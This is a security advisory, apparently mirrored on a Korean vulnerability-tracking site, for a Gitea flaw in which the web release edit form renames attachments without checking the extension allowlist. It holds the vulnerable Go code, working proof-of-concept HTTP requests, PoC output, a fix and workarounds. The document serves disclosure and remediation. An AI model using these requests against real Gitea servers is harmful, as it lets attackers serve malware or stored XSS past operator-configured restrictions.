Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N상세 설명
Summary
The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.
A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.
Details
Vulnerable code
routers/web/repo/release.go:597 EditReleasePost:
1const editPrefix = "attachment-edit-" 2editAttachments := make(map[string]string) 3if setting.Attachment.Enabled { 4 for k, v := range ctx.Req.Form { 5 if strings.HasPrefix(k, editPrefix) { 6 editAttachments[k[len(editPrefix):]] = v[0] 7 } 8 } 9}10...11if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,12 rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {13 ctx.ServerError("UpdateRelease", err)14 return15}services/release/release.go:321 -- the unvalidated write:
1for uuid, newName := range editAttachments { 2 if !deletedUUIDs.Contains(uuid) { 3 if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ 4 UUID: uuid, 5 Name: newName, 6 }, "name"); err != nil { 7 return err 8 } 9 }10}No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.
Comparison: the parent fix on the API path
routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):
1if err := attachment_service.UpdateAttachment(ctx, 2 setting.Repository.Release.AllowedTypes, attach); err != nil { 3 if upload.IsErrFileTypeForbidden(err) { 4 ctx.Error(http.StatusUnprocessableEntity, "", err) 5 return 6 } 7 ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) 8 return 9}Delegates to:
1// services/attachment/attachment.go:96 2func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { 3 if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { 4 return err 5 } 6 return repo_model.UpdateAttachment(ctx, attach) 7}The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.
Proof of Concept
Tested live against:
- Gitea
v1.26.1community edition, Linux amd64, SQLite, Go 1.26.2 app.iniincludes[repository.release] ALLOWED_TYPES = .zip,.tar.gz- Two users:
admin(superuser, created viagitea admin user create --admin),bob(regular, repo owner ofbob/test-repo)
Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.
Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.
1PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 2Authorization: token <bob_token> 3Content-Type: application/json 4 5{"name":"evil.exe"}Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).
Step 3: The attack. The web release edit form does NOT enforce the allowlist.
1POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 2Cookie: i_like_gitea=<session>; lang=en-US 3Content-Type: application/x-www-form-urlencoded 4 5tag_name=v0.1 6&tag_target=main 7&title=rename+payload 8&content= 9&attachment-edit-<existing_attachment_uuid>=evil.exeResponse: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.
Step 4: Verify.
1GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.
A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:
GITEA-R007_release_edit_extension_bypass.py
1[+] Logged in as bob 2[+] Pre-attack attachment name: 'innocent2.zip' 3[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) 4[+] POST release edit: HTTP 303 -> /bob/test-repo/releases 5[+] Post-attack attachment name: 'pwn.exe' 6 7[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.Impact
Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):
- Pre-condition: operator has set
Repository.Release.AllowedTypesto a non-empty allowlist (a reasonable hardening posture when restricting release uploads). - Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
- Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
- Practical impact:
- Distribute malware files (e.g.,
.exe,.dmg,.msi,.apk) masquerading as a tagged release attachment - If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
- Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event
- Distribute malware files (e.g.,
Suggested remediation
Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:
1import ( 2 "code.gitea.io/gitea/modules/setting" 3 "code.gitea.io/gitea/services/context/upload" 4) 5 6// inside UpdateRelease, replace the editAttachments loop: 7for uuid, newName := range editAttachments { 8 if deletedUUIDs.Contains(uuid) { 9 continue10 }11 if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {12 return err13 }14 if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{15 UUID: uuid,16 Name: newName,17 }, "name"); err != nil {18 return err19 }20}The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.
Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.
Workaround for operators (no Gitea change required)
Until a patched release lands, operators can mitigate by either:
- Removing the
Repository.Release.AllowedTypesallowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. - Putting Gitea behind a reverse proxy that rewrites or strips suspicious
attachment-edit-*form fields on POST to/<owner>/<repo>/releases/edit/*-- viable but operationally fragile. - Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.
A vendor patch is the right answer; the workarounds above are stopgaps.
Credit
Jose Rivas (bl4cksku111.com)
References
- Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)
- Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit
7adc4717ec) - CWE-424: https://cwe.mitre.org/data/definitions/424.html
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…